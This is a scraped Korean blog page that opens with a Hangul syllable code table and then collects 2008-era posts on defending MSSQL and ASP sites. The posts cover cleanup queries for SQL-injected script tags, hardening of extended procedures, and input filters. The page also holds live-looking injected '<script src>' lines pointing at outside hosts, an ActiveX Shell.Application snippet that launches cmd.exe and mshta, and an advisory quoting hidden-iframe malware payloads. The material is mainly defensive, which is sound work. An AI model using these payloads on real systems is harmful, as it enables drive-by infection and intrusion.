48344: 볘볙볚볛볜볝볞볟볠볡볢볣볤볥볦볧볨볩볪볫볬볭볮볯볰볱볲볳 :48371
48372: 보복볶볷본볹볺볻볼볽볾볿봀봁봂봃봄봅봆봇봈봉봊봋봌봍봎봏 :48399
48400: 봐봑봒봓봔봕봖봗봘봙봚봛봜봝봞봟봠봡봢봣봤봥봦봧봨봩봪봫 :48427
48428: 봬봭봮봯봰봱봲봳봴봵봶봷봸봹봺봻봼봽봾봿뵀뵁뵂뵃뵄뵅뵆뵇 :48455
48456: 뵈뵉뵊뵋뵌뵍뵎뵏뵐뵑뵒뵓뵔뵕뵖뵗뵘뵙뵚뵛뵜뵝뵞뵟뵠뵡뵢뵣 :48483
48484: 뵤뵥뵦뵧뵨뵩뵪뵫뵬뵭뵮뵯뵰뵱뵲뵳뵴뵵뵶뵷뵸뵹뵺뵻뵼뵽뵾뵿 :48511
48512: 부북붂붃분붅붆붇불붉붊붋붌붍붎붏붐붑붒붓붔붕붖붗붘붙붚붛 :48539
48540: 붜붝붞붟붠붡붢붣붤붥붦붧붨붩붪붫붬붭붮붯붰붱붲붳붴붵붶붷 :48567
48568: 붸붹붺붻붼붽붾붿뷀뷁뷂뷃뷄뷅뷆뷇뷈뷉뷊뷋뷌뷍뷎뷏뷐뷑뷒뷓 :48595
48596: 뷔뷕뷖뷗뷘뷙뷚뷛뷜뷝뷞뷟뷠뷡뷢뷣뷤뷥뷦뷧뷨뷩뷪뷫뷬뷭뷮뷯 :48623
48624: 뷰뷱뷲뷳뷴뷵뷶뷷뷸뷹뷺뷻뷼뷽뷾뷿븀븁븂븃븄븅븆븇븈븉븊븋 :48651
48652: 브븍븎븏븐븑븒븓블븕븖븗븘븙븚븛븜븝븞븟븠븡븢븣븤븥븦븧 :48679
48680: 븨븩븪븫븬븭븮븯븰븱븲븳븴븵븶븷븸븹븺븻븼븽븾븿빀빁빂빃 :48707
48708: 비빅빆빇빈빉빊빋빌빍빎빏빐빑빒빓빔빕빖빗빘빙빚빛빜빝빞빟 :48735
48736: 빠빡빢빣빤빥빦빧빨빩빪빫빬빭빮빯빰빱빲빳빴빵빶빷빸빹빺빻 :48763
48764: 빼빽빾빿뺀뺁뺂뺃뺄뺅뺆뺇뺈뺉뺊뺋뺌뺍뺎뺏뺐뺑뺒뺓뺔뺕뺖뺗 :48791
48792: 뺘뺙뺚뺛뺜뺝뺞뺟뺠뺡뺢뺣뺤뺥뺦뺧뺨뺩뺪뺫뺬뺭뺮뺯뺰뺱뺲뺳 :48819
48820: 뺴뺵뺶뺷뺸뺹뺺뺻뺼뺽뺾뺿뻀뻁뻂뻃뻄뻅뻆뻇뻈뻉뻊뻋뻌뻍뻎뻏 :48847
48848: 뻐뻑뻒뻓뻔뻕뻖뻗뻘뻙뻚뻛뻜뻝뻞뻟뻠뻡뻢뻣뻤뻥뻦뻧뻨뻩뻪뻫 :48875
48876: 뻬뻭뻮뻯뻰뻱뻲뻳뻴뻵뻶뻷뻸뻹뻺뻻뻼뻽뻾뻿뼀뼁뼂뼃뼄뼅뼆뼇 :48903
48904: 뼈뼉뼊뼋뼌뼍뼎뼏뼐뼑뼒뼓뼔뼕뼖뼗뼘뼙뼚뼛뼜뼝뼞뼟뼠뼡뼢뼣 :48931
48932: 뼤뼥뼦뼧뼨뼩뼪뼫뼬뼭뼮뼯뼰뼱뼲뼳뼴뼵뼶뼷뼸뼹뼺뼻뼼뼽뼾뼿 :48959
48960: 뽀뽁뽂뽃뽄뽅뽆뽇뽈뽉뽊뽋뽌뽍뽎뽏뽐뽑뽒뽓뽔뽕뽖뽗뽘뽙뽚뽛 :48987
48988: 뽜뽝뽞뽟뽠뽡뽢뽣뽤뽥뽦뽧뽨뽩뽪뽫뽬뽭뽮뽯뽰뽱뽲뽳뽴뽵뽶뽷 :49015
49016: 뽸뽹뽺뽻뽼뽽뽾뽿뾀뾁뾂뾃뾄뾅뾆뾇뾈뾉뾊뾋뾌뾍뾎뾏뾐뾑뾒뾓 :49043
49044: 뾔뾕뾖뾗뾘뾙뾚뾛뾜뾝뾞뾟뾠뾡뾢뾣뾤뾥뾦뾧뾨뾩뾪뾫뾬뾭뾮뾯 :49071
49072: 뾰뾱뾲뾳뾴뾵뾶뾷뾸뾹뾺뾻뾼뾽뾾뾿뿀뿁뿂뿃뿄뿅뿆뿇뿈뿉뿊뿋 :49099
49100: 뿌뿍뿎뿏뿐뿑뿒뿓뿔뿕뿖뿗뿘뿙뿚뿛뿜뿝뿞뿟뿠뿡뿢뿣뿤뿥뿦뿧 :49127
49128: 뿨뿩뿪뿫뿬뿭뿮뿯뿰뿱뿲뿳뿴뿵뿶뿷뿸뿹뿺뿻뿼뿽뿾뿿쀀쀁쀂쀃 :49155
49156: 쀄쀅쀆쀇쀈쀉쀊쀋쀌쀍쀎쀏쀐쀑쀒쀓쀔쀕쀖쀗쀘쀙쀚쀛쀜쀝쀞쀟 :49183
49184: 쀠쀡쀢쀣쀤쀥쀦쀧쀨쀩쀪쀫쀬쀭쀮쀯쀰쀱쀲쀳쀴쀵쀶쀷쀸쀹쀺쀻 :49211
49212: 쀼쀽쀾쀿쁀쁁쁂쁃쁄쁅쁆쁇쁈쁉쁊쁋쁌쁍쁎쁏쁐쁑쁒쁓쁔쁕쁖쁗 :49239
49240: 쁘쁙쁚쁛쁜쁝쁞쁟쁠쁡쁢쁣쁤쁥쁦쁧쁨쁩쁪쁫쁬쁭쁮쁯쁰쁱쁲쁳 :49267
49268: 쁴쁵쁶쁷쁸쁹쁺쁻쁼쁽쁾쁿삀삁삂삃삄삅삆삇삈삉삊삋삌삍삎삏 :49295
49296: 삐삑삒삓삔삕삖삗삘삙삚삛삜삝삞삟삠삡삢삣삤삥삦삧삨삩삪삫 :49323
49324: 사삭삮삯산삱삲삳살삵삶삷삸삹삺삻삼삽삾삿샀상샂샃샄샅샆샇 :49351
49352: 새색샊샋샌샍샎샏샐샑샒샓샔샕샖샗샘샙샚샛샜생샞샟샠샡샢샣 :49379
49380: 샤샥샦샧샨샩샪샫샬샭샮샯샰샱샲샳샴샵샶샷샸샹샺샻샼샽샾샿 :49407
49408: 섀섁섂섃섄섅섆섇섈섉섊섋섌섍섎섏섐섑섒섓섔섕섖섗섘섙섚섛 :49435
49436: 서석섞섟선섡섢섣설섥섦섧섨섩섪섫섬섭섮섯섰성섲섳섴섵섶섷 :49463
49464: 세섹섺섻센섽섾섿셀셁셂셃셄셅셆셇셈셉셊셋셌셍셎셏셐셑셒셓 :49491
49492: 셔셕셖셗션셙셚셛셜셝셞셟셠셡셢셣셤셥셦셧셨셩셪셫셬셭셮셯 :49519
49520: 셰셱셲셳셴셵셶셷셸셹셺셻셼셽셾셿솀솁솂솃솄솅솆솇솈솉솊솋 :49547
49548: 소속솎솏손솑솒솓솔솕솖솗솘솙솚솛솜솝솞솟솠송솢솣솤솥솦솧 :49575
49576: 솨솩솪솫솬솭솮솯솰솱솲솳솴솵솶솷솸솹솺솻솼솽솾솿쇀쇁쇂쇃 :49603
49604: 쇄쇅쇆쇇쇈쇉쇊쇋쇌쇍쇎쇏쇐쇑쇒쇓쇔쇕쇖쇗쇘쇙쇚쇛쇜쇝쇞쇟 :49631
49632: 쇠쇡쇢쇣쇤쇥쇦쇧쇨쇩쇪쇫쇬쇭쇮쇯쇰쇱쇲쇳쇴쇵쇶쇷쇸쇹쇺쇻 :49659
49660: 쇼쇽쇾쇿숀숁숂숃숄숅숆숇숈숉숊숋숌숍숎숏숐숑숒숓숔숕숖숗 :49687
49688: 수숙숚숛순숝숞숟술숡숢숣숤숥숦숧숨숩숪숫숬숭숮숯숰숱숲숳 :49715
49716: 숴숵숶숷숸숹숺숻숼숽숾숿쉀쉁쉂쉃쉄쉅쉆쉇쉈쉉쉊쉋쉌쉍쉎쉏 :49743
49744: 쉐쉑쉒쉓쉔쉕쉖쉗쉘쉙쉚쉛쉜쉝쉞쉟쉠쉡쉢쉣쉤쉥쉦쉧쉨쉩쉪쉫 :49771
49772: 쉬쉭쉮쉯쉰쉱쉲쉳쉴쉵쉶쉷쉸쉹쉺쉻쉼쉽쉾쉿슀슁슂슃슄슅슆슇 :49799
49800: 슈슉슊슋슌슍슎슏슐슑슒슓슔슕슖슗슘슙슚슛슜슝슞슟슠슡슢슣 :49827
49828: 스슥슦슧슨슩슪슫슬슭슮슯슰슱슲슳슴습슶슷슸승슺슻슼슽슾슿 :49855
49856: 싀싁싂싃싄싅싆싇싈싉싊싋싌싍싎싏싐싑싒싓싔싕싖싗싘싙싚싛 :49883
49884: 시식싞싟신싡싢싣실싥싦싧싨싩싪싫심십싮싯싰싱싲싳싴싵싶싷 :49911
49912: 싸싹싺싻싼싽싾싿쌀쌁쌂쌃쌄쌅쌆쌇쌈쌉쌊쌋쌌쌍쌎쌏쌐쌑쌒쌓 :49939
49940: 쌔쌕쌖쌗쌘쌙쌚쌛쌜쌝쌞쌟쌠쌡쌢쌣쌤쌥쌦쌧쌨쌩쌪쌫쌬쌭쌮쌯 :49967
49968: 쌰쌱쌲쌳쌴쌵쌶쌷쌸쌹쌺쌻쌼쌽쌾쌿썀썁썂썃썄썅썆썇썈썉썊썋 :49995
49996: 썌썍썎썏썐썑썒썓썔썕썖썗썘썙썚썛썜썝썞썟썠썡썢썣썤썥썦썧 :50023
50024: 써썩썪썫썬썭썮썯썰썱썲썳썴썵썶썷썸썹썺썻썼썽썾썿쎀쎁쎂쎃 :50051
50052: 쎄쎅쎆쎇쎈쎉쎊쎋쎌쎍쎎쎏쎐쎑쎒쎓쎔쎕쎖쎗쎘쎙쎚쎛쎜쎝쎞쎟 :50079
50080: 쎠쎡쎢쎣쎤쎥쎦쎧쎨쎩쎪쎫쎬쎭쎮쎯쎰쎱쎲쎳쎴쎵쎶쎷쎸쎹쎺쎻 :50107
50108: 쎼쎽쎾쎿쏀쏁쏂쏃쏄쏅쏆쏇쏈쏉쏊쏋쏌쏍쏎쏏쏐쏑쏒쏓쏔쏕쏖쏗 :50135
50136: 쏘쏙쏚쏛쏜쏝쏞쏟쏠쏡쏢쏣쏤쏥쏦쏧쏨쏩쏪쏫쏬쏭쏮쏯쏰쏱쏲쏳 :50163
50164: 쏴쏵쏶쏷쏸쏹쏺쏻쏼쏽쏾쏿쐀쐁쐂쐃쐄쐅쐆쐇쐈쐉쐊쐋쐌쐍쐎쐏 :50191
50192: 쐐쐑쐒쐓쐔쐕쐖쐗쐘쐙쐚쐛쐜쐝쐞쐟쐠쐡쐢쐣쐤쐥쐦쐧쐨쐩쐪쐫 :50219
50220: 쐬쐭쐮쐯쐰쐱쐲쐳쐴쐵쐶쐷쐸쐹쐺쐻쐼쐽쐾쐿쑀쑁쑂쑃쑄쑅쑆쑇 :50247
50248: 쑈쑉쑊쑋쑌쑍쑎쑏쑐쑑쑒쑓쑔쑕쑖쑗쑘쑙쑚쑛쑜쑝쑞쑟쑠쑡쑢쑣 :50275
50276: 쑤쑥쑦쑧쑨쑩쑪쑫쑬쑭쑮쑯쑰쑱쑲쑳쑴쑵쑶쑷쑸쑹쑺쑻쑼쑽쑾쑿 :50303
50304: 쒀쒁쒂쒃쒄쒅쒆쒇쒈쒉쒊쒋쒌쒍쒎쒏쒐쒑쒒쒓쒔쒕쒖쒗쒘쒙쒚쒛 :50331
50332: 쒜쒝쒞쒟쒠쒡쒢쒣쒤쒥쒦쒧쒨쒩쒪쒫쒬쒭쒮쒯쒰쒱쒲쒳쒴쒵쒶쒷 :50359
50360: 쒸쒹쒺쒻쒼쒽쒾쒿쓀쓁쓂쓃쓄쓅쓆쓇쓈쓉쓊쓋쓌쓍쓎쓏쓐쓑쓒쓓 :50387
50388: 쓔쓕쓖쓗쓘쓙쓚쓛쓜쓝쓞쓟쓠쓡쓢쓣쓤쓥쓦쓧쓨쓩쓪쓫쓬쓭쓮쓯 :50415
50416: 쓰쓱쓲쓳쓴쓵쓶쓷쓸쓹쓺쓻쓼쓽쓾쓿씀씁씂씃씄씅씆씇씈씉씊씋 :50443
50444: 씌씍씎씏씐씑씒씓씔씕씖씗씘씙씚씛씜씝씞씟씠씡씢씣씤씥씦씧 :50471
50472: 씨씩씪씫씬씭씮씯씰씱씲씳씴씵씶씷씸씹씺씻씼씽씾씿앀앁앂앃 :50499
50500: 아악앆앇안앉않앋알앍앎앏앐앑앒앓암압앖앗았앙앚앛앜앝앞앟 :50527
50528: 애액앢앣앤앥앦앧앨앩앪앫앬앭앮앯앰앱앲앳앴앵앶앷앸앹앺앻 :50555
50556: 야약앾앿얀얁얂얃얄얅얆얇얈얉얊얋얌얍얎얏얐양얒얓얔얕얖얗 :50583
50584: 얘얙얚얛얜얝얞얟얠얡얢얣얤얥얦얧얨얩얪얫얬얭얮얯얰얱얲얳 :50611
50612: 어억얶얷언얹얺얻얼얽얾얿엀엁엂엃엄업없엇었엉엊엋엌엍엎엏 :50639
50640: 에엑엒엓엔엕엖엗엘엙엚엛엜엝엞엟엠엡엢엣엤엥엦엧엨엩엪엫 :50667
50668: 여역엮엯연엱엲엳열엵엶엷엸엹엺엻염엽엾엿였영옂옃옄옅옆옇 :50695
50696: 예옉옊옋옌옍옎옏옐옑옒옓옔옕옖옗옘옙옚옛옜옝옞옟옠옡옢옣 :50723
50724: 오옥옦옧온옩옪옫올옭옮옯옰옱옲옳옴옵옶옷옸옹옺옻옼옽옾옿 :50751
50752: 와왁왂왃완왅왆왇왈왉왊왋왌왍왎왏왐왑왒왓왔왕왖왗왘왙왚왛 :50779
50780: 왜왝왞왟왠왡왢왣왤왥왦왧왨왩왪왫왬왭왮왯왰왱왲왳왴왵왶왷 :50807
50808: 외왹왺왻왼왽 
반응형
Posted by 친절한 웬디양~ㅎㅎ
|

MSSQL 보안

Develope/Study 2008. 11. 7. 04:26
반응형
반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형

-- 테스트환경.

 

CREATE TABLE Test

(A varchar(1000) NULL)

GO

 

 

INSERT Test (A)

VALUES ('asdfdas.jpg<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>')

GO

 

INSERT Test (A)

VALUES ('asdfadsf.zip<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>')

GO

 

 

INSERT Test (A)

VALUES ('dfdasfdasf.jpgsdkaf')

GO

 

INSERT Test (A)

VALUES ('dsfasfdasf.zipdedfg')

GO

 

SELECT * FROM Test

GO

 

/*

 

asdfdas.jpg<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>

 

asdfadsf.zip<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>

 

dfdasfdasf.jpgsdkaf

 

dsfasfdasf.zipdedfg

 

*/

 

 

/* 반복되는스크립트가일정할때.  컬럼이TEXT 타입인경우, VARCHAR 으로형변환후함.

SQL Server 2000 의경우VARCHAR(8000) 이최대길이이므로, 최대길이는비교해보고해야함

*/

UPDATE Test

SET A = REPLACE(CONVERT(VARCHAR(8000),A) , '<script src=http://dae3.cn></script>', '')

 

 -- 반복되는스크립트가일정하지않고, 특정파일뒤에만짜르고싶은경우. 컬럼이TEXT 일경우

UPDATE Test

SET A = LEFT(CONVERT(VARCHAR(8000),A),CHARINDEX( '.jpg',CONVERT(VARCHAR(8000),A))+3)

WHERE  CHARINDEX( '.jpg',CONVERT(VARCHAR(8000),A)) > 0

 

 

UPDATE Test

SET A = LEFT(CONVERT(VARCHAR(8000),A),CHARINDEX( '.zip',CONVERT(VARCHAR(8000),A))+3)

WHERE  CHARINDEX( '.zip',CONVERT(VARCHAR(8000),A)) > 0

 

 

-- 반복되는스크립트가일정할때. 컬럼이그냥일반char , varchar 등일경우.

UPDATE Test

SET A = REPLACE(A , '<script src=http://dae3.cn></script>', '')

 

-- 반복되는스크립트가일정하지않고, 특정파일뒤에만짜르고싶은경우.

UPDATE Test

SET A = LEFT(A,CHARINDEX( '.jpg',A)+3)

WHERE  CHARINDEX( '.jpg',A) > 0

 

UPDATE Test

SET A = LEFT(A,CHARINDEX( '.zip',A)+3)

WHERE  CHARINDEX( '.zip',A) > 0

 

 

/*

asdfdas.jpg

asdfadsf.zip

dfdasfdasf.jpg

dsfasfdasf.zip

*/

 

반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형

 

 

이 해킹기법은 순수한 연구목적으로 공개하며, 악의적인 사용을 방지하기 위해 코드는 최소한으로만 공개합니다.
최근에 해킹 기법중에서 MS IE를 이용해서 백도어를 설치하는 해킹이 많습니다. 그중에서 가장 많이 사용되는 방법이 ActiveXObject 중에서 "Shell.Application" 메소드를 사용하는 방법이 있습니다. 특히 중국 해커 애들이 이런 것을 애용하는 경우가 많습니다. 이 메소드는 인터넷 영역에서 인트라넷 영역 즉 하드디스크로 쓰기가 가능하기 때문에 백도어 설치에 아주 좋은 취약점이 됩니다.
따라서 절대로 의심이 가능 웹 사이트는 방문하지 마시고 부득이 웹사이트를 방문할 때는 IE의 보안 탭에서 Active 스크립트를 비활성 시키시면 악의적인 실행을 막을 수 있습니다. 
사용예)
function ShellExecuteExe()
 { 
                ShellApp = new ActiveXObject("Shell.Application");
 
 또는 아래와 같이 cmd를 실행시키는 방법을 쓰거나, 
               
                ShellApp.ShowBrowserBar("{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}", true);
                ShellApp.ShellExecute("cmd.exe");
 
제어판을 실행하도록 만들 수 있습니다.
                ShellApp.ShellExecute("rundll32.exe", "shell32.dll,Control_RunDLL sysdm.cpl,,1")
                ShellApp.ShellExecute("rundll32.exe", "shell32.dll,Control_RunDLL netcpl.cpl,,1");
  }
               ShellApp.ShellExecute("c://windows//system32//mshta.exe","C://xx.hta")
반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형

노후한 장비와 WinNT5.1xp4 노후한SQL2K 등을 쓰면서 업그레이드하고 싶지만 사정이 안되는 경우 -_-++

 

오늘도 이렇게 커넥트 되어 들어오는 짱개놈들 -_-;;

웹로그와 apnic 를 뒤진 결과 222.176.0.0 - 222.183.255.255 여기서 222.118.0.142 이녀석이 원인 -_-!!

어쨋든 일단 처리는 넘기고~

온갖 구글검색과 네이버지식IN SQL.PE.KR 을 참조하여 나름 방지 쿼리를 완성했슴미~~

 

1. 일단 이미 들어온 짱개놈들~~ 삭제쿼리는 다음과 같이

 

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = replace(convert(varchar(8000),['+@C+']),''<script src=http://s.ardoshanghai.com/s.js></script>'','''')
      where ['+@C+'] like ''%<script%'''
      )
  FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

exec sp_helpfile;

 

빨간부분은 해당 들어온 스크립트를 삽입!!

 

2. 다음은 SQL Injecttion 방지를 위하여~~~ 여기저기 참조하여만들어본 쿼리~~

 

Use master
IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN
exec sp_dropextendedproc 'xp_cmdshell'
END
go
Use master
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'Xp_regaddmultistring'
exec sp_dropextendedproc 'Xp_regdeletekey'
exec sp_dropextendedproc 'Xp_regdeletevalue'
exec sp_dropextendedproc 'Xp_regenumvalues'
exec sp_dropextendedproc 'Xp_regread'
exec sp_dropextendedproc 'Xp_regremovemultistring'
exec sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask
go

Use master
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll'
exec sp_addextendedproc 'xp_enumgroups', 'xplog70.dll'
exec sp_addextendedproc 'xp_fixeddrives', 'xpstar.dll'
exec sp_addextendedproc 'xp_loginconfig', 'xplog70.dll'
exec sp_addextendedproc 'xp_regaddmultistring', 'xpstar.dll'
exec sp_addextendedproc 'xp_regdeletekey', 'xpstar.dll'
exec sp_addextendedproc 'xp_regdeletevalue', 'xpstar.dll'
exec sp_addextendedproc 'xp_regread', 'xpstar.dll'
exec sp_addextendedproc 'xp_regremovemultistring', 'xpstar.dll'
exec sp_addextendedproc 'xp_regwrite', 'xpstar.dll'
exec sp_addextendedproc 'xp_enumerrorlogs', 'xpstar.dll'
exec sp_addextendedproc 'xp_getfiledetails', 'xpstar.dll'
exec sp_addextendedproc 'xp_regenumvalues', 'xpstar.dll'
go

REVOKE EXECUTE ON xp_regread FROM public
REVOKE EXECUTE ON xp_instance_regread FROM public
REVOKE EXECUTE ON dbo.sp_runwebtask FROM public
go

Use msdb
REVOKE EXECUTE ON sp_add_job FROM public
REVOKE EXECUTE ON sp_add_jobstep FROM public
REVOKE EXECUTE ON sp_add_jobserver FROM public
REVOKE EXECUTE ON sp_start_job FROM public
REVOKE ALL ON dbo.mswebtasks FROM public
REVOKE EXECUTE ON sp_enum_dtspackages FROM public
REVOKE EXECUTE ON sp_get_dtspackage FROM public
REVOKE EXECUTE ON sp_get_sqlagent_properties FROM public
go

Use master
dbcc xp_cmdshell(free)
dbcc xp_dirtree(free)
dbcc xp_regdeletekey(free)
dbcc xp_regenumvalues(free)
dbcc xp_regread(free)
dbcc xp_regwrite(free)
dbcc sp_makewebtask(free)
dbcc sp_adduser(free)
go

Use master
DENY  EXECUTE  ON [master].[dbo].[xp_subdirs] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_dirtree] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_availablemedia] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_regwrite] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_regread] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_regdeletekey] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_regdeletevalue] TO [guest] CASCADE 
DENY  EXECUTE  ON [master].[dbo].[xp_regremovemultistring] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_fileexist] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_fixeddrives] TO [guest] CASCADE
DENY  EXECUTE  ON [master].[dbo].[xp_getfiledetails] TO [guest] CASCADE
go

 

3. 다음은 ASP 관련 처리가 돼겠다~!

 

페이지상단처리

인젝션 유형: 제일많이 쓰는 내용이 " -- ", 혹은 " ' " 혹은 " ; "

이 세개의 특수문자이기 때문에 쿼리스트링에 해당 문자열이 포착되면은
에러페이지로 이동됩니다

1) 일반형식
 Function RequestCheck(string)
  If Instr(string,"'")>0 or Instr(string,"--") or  Instr(string,";") then
   Response.redirect "/error.asp"
  else
  str = string
  End if
 RequestCheck = str
 End Function
 
 Qri = Request.ServerVariables("Query_String")
 Call RequestCheck(Qri)

 

2) 폼형식

        Function FormCheck(string,opt)
  If Instr(string,"--") or  Instr(string,";") then
   if opt=1 then
    str = Replace(str,"--","..")
    str = Replace(str,";",":")
   elseif opt=2 then
  Response.redirect "/error.asp"
  end if
   else
   str = string
  End if
  FormCheck = str
 End Function

        subject = FormCheck(Request.Form("subject"),1)
               

opt의 경우 1은 .. 꼭 받아야할 정보이면, 리플레이스로 해서, 데이타 입력을 받고 (text타입인경우)
                  2는 ... 특수문자가 들어갈 확률이 없는데, 들어온경우로 에러를 내며, 페이지종료

3) 웹 문서 상의 쿼리문은 저장 프로시져로 항상 처리!

 

위 3가지 유형별로 처리만 일단 해주면 인젝션봇으로 아무생각없이 막 들어오는 짱개넘들을 방지할 수는 있을지도

근본적인 해결은 항상 최신 OS 최신 SQL 최신 패치 프로그래밍소스의 개발유지 등이 필요하겠지만~~~

 

반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형

 
□ 개요
  o 최근 국내에서 ARP Spoofing을 통해 감염되고, 감염 시 네트워크를 마비 시키는 악성코드가 
     등장하여 주의가 필요함
  o 특히 네트워크 관리자는 내부 네트워크에서 ARP Spoofing 공격 여부를 주기적으로 탐지하고 
     공격 근원지를 파악하여 관련 악성코드가 실행 및 다운로드 되지 않도록 주의가 필요함

□ 전파방법
  o 최초 googleons.exe에 감염된 PC는 ARP Spoofing 공격
     - 해당 악성코드 감염시 네트워크에 존재하는 호스트 및 게이트웨이를 대상으로 ARP Reply를
        지속적으로 보냄
     - 게이트웨이의 MAC 주소와 공격대상 호스트의 MAC 주소를 위조하는 ARP Reply를 지속적으로
        보냄
  o 감염된 PC와 동일 네트워크에 연결되어 있는 호스트들은 감염된 PC를 게이트웨이로 인식하게
     하여 모든 패킷을 모니터링 및 변조 할 수 있음
     - ARP Spoofing공격으로 정상 호스트가 웹 접속 시 감염 PC는 패킷을 가로채고 아래와 같은
        정보를 삽입해 악성코드 유포지 사이트로 유도
        "<iframe src=http://down.online[생략].net/page/image/zzh.htm height=0></iframe>"
  o 악성코드 유포지 down.online[생략].net으로 유도된 PC중 아래와 같은 윈도우 취약점 패치가
     안된 사이트는 googleons.exe에 감염됨
     - MS05-025
     - MS06-014
     - MS07-017
     - MS07-027

□ 악성행위 (googleons.exe)
  o 감염 PC와 동일 네트워크 대역 ARP Spoofing 공격

  o 동일 네트워크에 존재하는 PC들의 HTTP 통신 패킷 변조
       "<iframe src=http://down.online[생략].net/page/image/zzh.htm height=0></iframe></IFRAME P ?<></IFRAME IFRAME <>" 삽입
  o USB를 통한 악성코드 전파
  o 감염 PC에 존재하는 .html, tml, asp, php, jsp 확장자에 아래와 같은 악성코드 삽입
     - "<iframe src=http://down.online[생략].net/page/image/pd.htm height=0></iframe></IFRAME P ?<></IFRAME IFRAME <>"
  o 감염시 생성되는 파일
     - C:\Document and Settings\[계정]\Local Settings\Temp\
         autoexec.bat (down.exe 최초 감염 악성코드, googleons.exe를 다운로드 및 실행)
         googleons.exe 
         disocoo.exe (실행뒤 삭제)
         npptools.dll
         Packet.dll
         WanPacket.dll
         yahoons.exe (실행뒤 삭제)
     - C:\windows\system32\ (yahoons.exe 실행에 의해 생성되는 파일들)
         dllhost32.exe
         mh104.dll
         moyu103.dll
         mosou.exe
         mydata.exe
         nwizwmgjs.exe
         nwizwmgjs.dll
         nwizzhuxians.exe
         nwizzhuxians.dll
         RAV00xx.exe등 다수
  o 부팅 후 재시작 할 수 있는 레지스트리에 등록
     - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
     - 이름 : svc
     - 파일 이름 : googleons.exe

□ 감염여부 확인 및 치료방법
  o 감염여부 확인
     - L3 또는 라우터에서 감염 PC 확인
        중복 MAC 주소 IP 확인 (악성코드 감염 IP 확인)
       ※ krcert 홈페이지->기술문서->ARP Spoofing 공격 및 대책 참고
     - ARP Spoofing 피해 PC에서 공격 PC 확인
        전체 네트워크 Ping 스캔
        중복 MAC 주소 IP 확인
       
        ※ krcert 홈페이지->기술문서->ARP Spoofing 공격 및 대책 참고
     - 악성코드 감염 및 ARP Spoofing 공격 PC 확인
        C:\Document and Settings\[계정]\Local Settings\Temp\googleons.exe 존재여부 확인
        googleons.exe 프로세스 실행여부 확인 [아래 치료방법 참조]
  o 치료방법
     - C:\Document and Settings\[계정]\Local Settings\Temp\ 하위 악성코드들 삭제
      

     - 윈도우 시스템 폴더에 존재하는 악성코드들 삭제
       

     - googleons.exe 프로세스 끝내기
        "Ctrl" + "Alt" + "Del" 클릭 후 프로세스 메뉴에서 googleons.exe 프로세스 종료
       

     - 레지스트리 삭제
        googleons 재시작 레지스트리 삭제
        시작 → 실행 선택,   "regedit" 입력 후 악성코드가 생성한 아래의 레지스트리 삭제 
        HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
       

     . 기타 악성코드 레지스트리 삭제
       시작 → 실행 선택,   "regedit" 입력 후 악성코드가 생성한 아래의 레지스트리 삭제 
        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
       
 

□ 예방 방법
  o 감염을 위한 사전 예방 방법
     - 윈도 OS 최신 패치 실시
       
반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형


  
(서울=연합뉴스) 조성흠 기자 = 포털 사이트 게시판이 악성코드 유포 경로로 악용될 수 있다는 사실이 확인돼 주의가 요구된다.

18일 관련 업계에 따르면 최근 한 누리꾼이 중국 사이트에서 구한 신종 XSS(크로스사이트스크립팅) 스크립트를 다수의 네이버 카페 게시판에 올려 이를 실행시키는 데 성공했다.

